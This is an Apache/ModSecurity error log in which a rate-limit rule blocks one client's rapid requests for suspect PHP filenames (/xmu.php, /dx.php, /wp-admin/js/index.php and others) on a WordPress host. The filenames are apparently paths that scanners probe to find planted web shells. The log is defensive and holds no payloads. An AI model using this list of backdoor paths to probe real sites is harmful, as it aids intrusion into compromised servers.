[Tue May 19 03:56:26.792600 2026] [:error] [pid 34691:tid 34763] [client 172.173.117.54:64507] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sl.php"] [unique_id "agtu6oGYsOBD9bWkFnTjfgAAAIE"]
[Tue May 19 03:56:27.325647 2026] [:error] [pid 34810:tid 34830] [client 172.173.117.54:65182] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-temp.php"] [unique_id "agtu63Lwdc8JcvxViQXxFwAAANI"]
[Tue May 19 03:56:27.892393 2026] [:error] [pid 34691:tid 34773] [client 172.173.117.54:65256] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-temp.php"] [unique_id "agtu64GYsOBD9bWkFnTjfwAAAIs"]
[Tue May 19 03:56:28.505283 2026] [:error] [pid 34810:tid 34822] [client 172.173.117.54:59844] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-temp.php"] [unique_id "agtu7HLwdc8JcvxViQXxGAAAAMo"]
[Tue May 19 03:56:29.089753 2026] [:error] [pid 34691:tid 34778] [client 172.173.117.54:62952] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-temp.php"] [unique_id "agtu7YGYsOBD9bWkFnTjgAAAAJA"]
[Tue May 19 03:56:29.550294 2026] [:error] [pid 34810:tid 34825] [client 172.173.117.54:61455] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/buttons/"] [unique_id "agtu7XLwdc8JcvxViQXxGgAAAM0"]
[Tue May 19 03:56:30.141203 2026] [:error] [pid 34810:tid 34818] [client 172.173.117.54:65163] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/buttons/"] [unique_id "agtu7nLwdc8JcvxViQXxGwAAAMY"]
[Tue May 19 03:56:31.031889 2026] [:error] [pid 34810:tid 34835] [client 172.173.117.54:64424] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/buttons/"] [unique_id "agtu73Lwdc8JcvxViQXxHgAAANc"]
[Tue May 19 03:56:31.719120 2026] [:error] [pid 34810:tid 34815] [client 172.173.117.54:59781] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/buttons/"] [unique_id "agtu73Lwdc8JcvxViQXxHwAAAMM"]
[Tue May 19 03:56:32.242251 2026] [:error] [pid 34810:tid 34821] [client 172.173.117.54:59885] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xmu.php"] [unique_id "agtu8HLwdc8JcvxViQXxIAAAAMk"]
[Tue May 19 03:56:32.699037 2026] [:error] [pid 34691:tid 34775] [client 172.173.117.54:61497] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xmu.php"] [unique_id "agtu8IGYsOBD9bWkFnTjgQAAAI0"]
[Tue May 19 03:56:33.225960 2026] [:error] [pid 34810:tid 34826] [client 172.173.117.54:65205] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xmu.php"] [unique_id "agtu8XLwdc8JcvxViQXxIQAAAM4"]
[Tue May 19 03:56:33.757486 2026] [:error] [pid 34689:tid 34707] [client 172.173.117.54:65187] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xmu.php"] [unique_id "agtu8ZWxMX-BooBZ30HAzwAAAAs"]
[Tue May 19 03:56:34.407320 2026] [:error] [pid 34691:tid 34780] [client 172.173.117.54:59357] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mode.php"] [unique_id "agtu8oGYsOBD9bWkFnTjggAAAJI"]
[Tue May 19 03:56:35.096395 2026] [:error] [pid 34691:tid 34762] [client 172.173.117.54:65189] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mode.php"] [unique_id "agtu84GYsOBD9bWkFnTjgwAAAIA"]
[Tue May 19 03:56:35.612004 2026] [:error] [pid 34810:tid 34830] [client 172.173.117.54:64484] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mode.php"] [unique_id "agtu83Lwdc8JcvxViQXxJAAAANI"]
[Tue May 19 03:56:36.152933 2026] [:error] [pid 34810:tid 34822] [client 172.173.117.54:65251] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mode.php"] [unique_id "agtu9HLwdc8JcvxViQXxJQAAAMo"]
[Tue May 19 03:56:37.201016 2026] [:error] [pid 34689:tid 34696] [client 172.173.117.54:65230] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/index.php"] [unique_id "agtu9ZWxMX-BooBZ30HA0wAAAAA"]
[Tue May 19 03:56:37.900307 2026] [:error] [pid 34810:tid 34836] [client 172.173.117.54:65270] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/index.php"] [unique_id "agtu9XLwdc8JcvxViQXxJgAAANg"]
[Tue May 19 03:56:38.652146 2026] [:error] [pid 34810:tid 34814] [client 172.173.117.54:65265] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/index.php"] [unique_id "agtu9nLwdc8JcvxViQXxKAAAAMI"]
[Tue May 19 03:56:39.374022 2026] [:error] [pid 34690:tid 34750] [client 172.173.117.54:59335] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/index.php"] [unique_id "agtu94Qwnq2meDg4FYnhhAAAAE8"]
[Tue May 19 03:56:41.859271 2026] [:error] [pid 34810:tid 34819] [client 172.173.117.54:62909] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dx.php"] [unique_id "agtu-XLwdc8JcvxViQXxKQAAAMc"]
[Tue May 19 03:56:42.493243 2026] [:error] [pid 34810:tid 34833] [client 172.173.117.54:64429] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dx.php"] [unique_id "agtu-nLwdc8JcvxViQXxKwAAANU"]
[Tue May 19 03:56:43.321830 2026] [:error] [pid 34691:tid 34772] [client 172.173.117.54:65180] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dx.php"] [unique_id "agtu-4GYsOBD9bWkFnTjhQAAAIo"]
[Tue May 19 03:56:43.909903 2026] [:error] [pid 34691:tid 34784] [client 172.173.117.54:65172] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dx.php"] [unique_id "agtu-4GYsOBD9bWkFnTjhgAAAJY"]
[Tue May 19 03:56:44.461976 2026] [:error] [pid 34691:tid 34770] [client 172.173.117.54:62858] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/puc.php"] [unique_id "agtu_IGYsOBD9bWkFnTjhwAAAIg"]
[Tue May 19 03:56:45.290738 2026] [:error] [pid 34690:tid 34753] [client 172.173.117.54:65171] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/puc.php"] [unique_id "agtu_YQwnq2meDg4FYnhhgAAAFI"]
[Tue May 19 03:56:46.051044 2026] [:error] [pid 34691:tid 34767] [client 172.173.117.54:61547] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/puc.php"] [unique_id "agtu_oGYsOBD9bWkFnTjigAAAIU"]
[Tue May 19 03:56:46.819483 2026] [:error] [pid 34690:tid 34743] [client 172.173.117.54:59783] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/puc.php"] [unique_id "agtu_oQwnq2meDg4FYnhhwAAAEg"]
[Tue May 19 03:56:47.819335 2026] [:error] [pid 34691:tid 34779] [client 172.173.117.54:64457] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/themes.php"] [unique_id "agtu_4GYsOBD9bWkFnTjjAAAAJE"]
[Tue May 19 03:56:48.381731 2026] [:error] [pid 34810:tid 34826] [client 172.173.117.54:59366] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/themes.php"] [unique_id "agtvAHLwdc8JcvxViQXxLwAAAM4"]
[Tue May 19 03:56:49.016058 2026] [:error] [pid 34810:tid 34823] [client 172.173.117.54:65271] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/themes.php"] [unique_id "agtvAXLwdc8JcvxViQXxMAAAAMs"]
[Tue May 19 03:56:49.634362 2026] [:error] [pid 34690:tid 34757] [client 172.173.117.54:59359] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/themes.php"] [unique_id "agtvAYQwnq2meDg4FYnhiAAAAFY"]
[Tue May 19 03:56:50.161674 2026] [:error] [pid 34810:tid 34834] [client 172.173.117.54:61522] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dx.php"] [unique_id "agtvAnLwdc8JcvxViQXxMQAAANY"]
[Tue May 19 03:56:50.627853 2026] [:error] [pid 34691:tid 34768] [client 172.173.117.54:64493] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dx.php"] [unique_id "agtvAoGYsOBD9bWkFnTjjgAAAIY"]
[Tue May 19 03:56:51.087006 2026] [:error] [pid 34810:tid 34812] [client 172.173.117.54:64431] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dx.php"] [unique_id "agtvA3Lwdc8JcvxViQXxMgAAAMA"]
[Tue May 19 03:56:51.494663 2026] [:error] [pid 34810:tid 34830] [client 172.173.117.54:59834] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dx.php"] [unique_id "agtvA3Lwdc8JcvxViQXxMwAAANI"]
[Tue May 19 03:56:52.008021 2026] [:error] [pid 34810:tid 34822] [client 172.173.117.54:64384] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/awa.php"] [unique_id "agtvBHLwdc8JcvxViQXxNAAAAMo"]
[Tue May 19 03:56:52.399249 2026] [:error] [pid 34690:tid 34747] [client 172.173.117.54:64451] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/awa.php"] [unique_id "agtvBIQwnq2meDg4FYnhigAAAEw"]
[Tue May 19 03:56:52.789864 2026] [:error] [pid 34691:tid 34773] [client 172.173.117.54:61557] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/awa.php"] [unique_id "agtvBIGYsOBD9bWkFnTjjwAAAIs"]
[Tue May 19 03:56:53.243673 2026] [:error] [pid 34810:tid 34814] [client 172.173.117.54:59350] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/awa.php"] [unique_id "agtvBXLwdc8JcvxViQXxNgAAAMI"]
[Tue May 19 03:56:53.652540 2026] [:error] [pid 34810:tid 34828] [client 172.173.117.54:61532] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/11.php"] [unique_id "agtvBXLwdc8JcvxViQXxNwAAANA"]
[Tue May 19 03:56:54.057927 2026] [:error] [pid 34690:tid 34755] [client 172.173.117.54:61559] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/11.php"] [unique_id "agtvBoQwnq2meDg4FYnhiwAAAFQ"]
[Tue May 19 03:56:54.494107 2026] [:error] [pid 34689:tid 34710] [client 172.173.117.54:64391] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/11.php"] [unique_id "agtvBpWxMX-BooBZ30HA1gAAAA4"]
[Tue May 19 03:56:54.918634 2026] [:error] [pid 34690:tid 34739] [client 172.173.117.54:59347] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/11.php"] [unique_id "agtvBoQwnq2meDg4FYnhjQAAAEQ"]
[Tue May 19 03:56:55.411431 2026] [:error] [pid 34690:tid 34736] [client 172.173.117.54:61442] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/p.php"] [unique_id "agtvB4Qwnq2meDg4FYnhjwAAAEE"]
[Tue May 19 03:56:55.981143 2026] [:error] [pid 34810:tid 34825] [client 172.173.117.54:65248] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/p.php"] [unique_id "agtvB3Lwdc8JcvxViQXxOAAAAM0"]
[Tue May 19 03:56:56.398199 2026] [:error] [pid 34810:tid 34819] [client 172.173.117.54:65196] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/p.php"] [unique_id "agtvCHLwdc8JcvxViQXxOQAAAMc"]
[Tue May 19 03:56:56.776532 2026] [:error] [pid 34691:tid 34778] [client 172.173.117.54:65250] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/p.php"] [unique_id "agtvCIGYsOBD9bWkFnTjkQAAAJA"]
[Tue May 19 03:56:57.205073 2026] [:error] [pid 34690:tid 34756] [client 172.173.117.54:65165] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/"] [unique_id "agtvCYQwnq2meDg4FYnhkAAAAFU"]
[Tue May 19 03:56:57.654301 2026] [:error] [pid 34691:tid 34780] [client 172.173.117.54:59901] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/"] [unique_id "agtvCYGYsOBD9bWkFnTjkgAAAJI"]
[Tue May 19 03:56:58.160652 2026] [:error] [pid 34690:tid 34742] [client 172.173.117.54:64434] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/"] [unique_id "agtvCoQwnq2meDg4FYnhkgAAAEc"]
[Tue May 19 03:56:58.634451 2026] [:error] [pid 34690:tid 34752] [client 172.173.117.54:59776] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/"] [unique_id "agtvCoQwnq2meDg4FYnhkwAAAFE"]
[Tue May 19 03:56:59.043298 2026] [:error] [pid 34690:tid 34750] [client 172.173.117.54:59875] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bthil.php"] [unique_id "agtvC4Qwnq2meDg4FYnhlQAAAE8"]
[Tue May 19 03:56:59.446177 2026] [:error] [pid 34691:tid 34777] [client 172.173.117.54:64505] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bthil.php"] [unique_id "agtvC4GYsOBD9bWkFnTjkwAAAI8"]
[Tue May 19 03:56:59.874739 2026] [:error] [pid 34691:tid 34774] [client 172.173.117.54:64401] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bthil.php"] [unique_id "agtvC4GYsOBD9bWkFnTjlQAAAIw"]
